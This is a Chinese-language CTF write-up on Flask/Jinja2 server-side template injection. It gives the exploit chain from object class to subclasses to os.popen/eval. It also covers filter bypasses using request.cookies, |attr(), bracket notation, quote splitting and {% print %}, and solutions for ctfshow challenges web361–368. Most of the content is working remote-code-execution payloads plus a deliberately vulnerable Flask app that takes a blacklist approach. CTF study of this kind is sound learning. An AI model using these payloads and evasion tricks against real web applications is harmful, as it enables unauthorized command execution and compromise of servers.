如何确定模板:

一个完成的ssti利用如下
拿基类->找子类->构造命令->拿flag
{{''.__class__.__base__.__subclasses__()}} # 拿基类
{{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__}} #找子类 (常见是命令执行或者文件读取类的)
{{equest.__class__.__mro__[-1].__subclasses__()[206].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} # 构造命令
{%%} 执行
有时候双大括号会被过滤,可以使用这个进行执行
输出可用:
{%print("".__class__)%}
request 绕过
最喜欢的绕过方式
request可以访问基于http请求的传递的所有信息,这里的request是flask的函数
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
例如[HNCTF 2022 WEEK3]ssssti 这道题,就可以使用request绕过的方式
from flask import Flask,render_template,render_template_string,redirect,request,session,abort,send_from_directoryimport os
import re
app = Flask(__name__)
@app.route("/")
def app_index():
name = request.args.get('name')
blacklist = ['\'', '"', 'args', 'os', '_']
if name:
for no in blacklist:
if no in name:
return 'Hacker'
template = '''{%% block body %%}
<div class="center-content error">
<h1>WELCOME TO HNCTF</h1>
<a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">What is server-side template injection?</a>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=5050)
payload:
{{()[request.cookies.class][request.cookies.bases][0][request.cookies.subclasses]()}}
class=__class__;bases=__bases__;subclasses=__subclasses__
{{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}
class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls /
|attr()绕过
attr()函数是jinja2模板引擎提供的一个过滤器,他的存在使得
().__class__ 等价与 ()|attr("__class__")
完整利用
# 获取class
{{"" | attr("__class__")}}
# base
{{ ""|attr("__class__")|attr("__base__") }}
# sublasses
{{ ""|attr("__class__")|attr("__base__")|attr("__subclasses__")() }}
# 直接利用config rce
{{ config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")() }}
特殊的**__getitem__**
__getitem__是一个字典,而attr只能访问属性,不能直接用于字典的键访问
而通过|attr("__getitem__")("os")则可以调用字典的__getitem__方法从而实现访问
中括号替代点
如果点过滤了可以使用中括号替代,例如
{{().__class__}} 等价于{{()['__class__']}}
那么利用过程就可以如此构建
{{()['__class__']['__base__']['__subclasses__']()}} # 拿到基类
{{""['__class__']['__mro__'][-1]['__subclasses__']()[206]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('id').read()")}} # 构造命令
引号拼接绕过
当存在某些关键字过滤可以配合中括号使用''来绕过,例如
{{()['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()}} 等价于 {{()['__class__']['__base__']['__subclasses__']()}} 等价于 {{().__class__.__base__.__subclasses__()}}
{{""['__cla''ss__']['__m''ro__'][-1]['__su''bclasses__']()[206]['__i''nit__']['__global''s__']['__builtin''s__']['eva''l']("__import__('os').popen('id').read()")}}
不加加号也可以
ctfshow ssti 题目
-
web361
没什么好说的,传参name,使用
即可
-
web362
过滤了2,3两个数字,应该是不允许使用某个类,使用
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}或者使用下标
407的subprocess.Popen{{ ''.__class__.__base__.__subclasses__()[407]('id', shell=True, stdout=-1).communicate()[0] }}PASS
-
web363
先fuzz

过滤了引号
根据之前学习的,可以使用request绕过,读取cookies
{{ config[request.cookies.class][request.cookies.init][request.cookies.globals][request.cookies.so].popen(request.cookies.cmd).read()}}class=__class__;init=__init__;globals=__globals__;so=os;cmd=ls / -
web364
多了一个
args的过滤,没关系363的payload还能用 -
web365

方括号和引号绕过可以使用
{{config.__class__.__init__.__globals__.__getitem__(request.cookies.so).popen(request.cookies.cmd).read()}}so=os;cmd=ls /PASS
-
web366
这次ban掉了下划线

可以使用之前学过的
|attr方法绕过下划线的使用,再通过__getitem__方法绕过中括号的使用,之后再使用request绕过原始payload
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}绕过
{{ config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")() }}{{ config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.so)|attr(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)() }}class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;so=os;popen=popen;cmd=ls /;read=readPASS
-
web367
加入了os的过滤,仔细看366的payload也没用到os所以直接pass
-
web368
看起来过滤没有变,其实
{{request}}过滤了,但是{%request%}没有过滤,使用{%%}绕过{%print(config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)(request.cookies.so)|attr(request.cookies.popen)(request.cookies.cmd)|attr(request.cookies.read)())%}class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;so=os;popen=popen;cmd=ls /;read=read喵了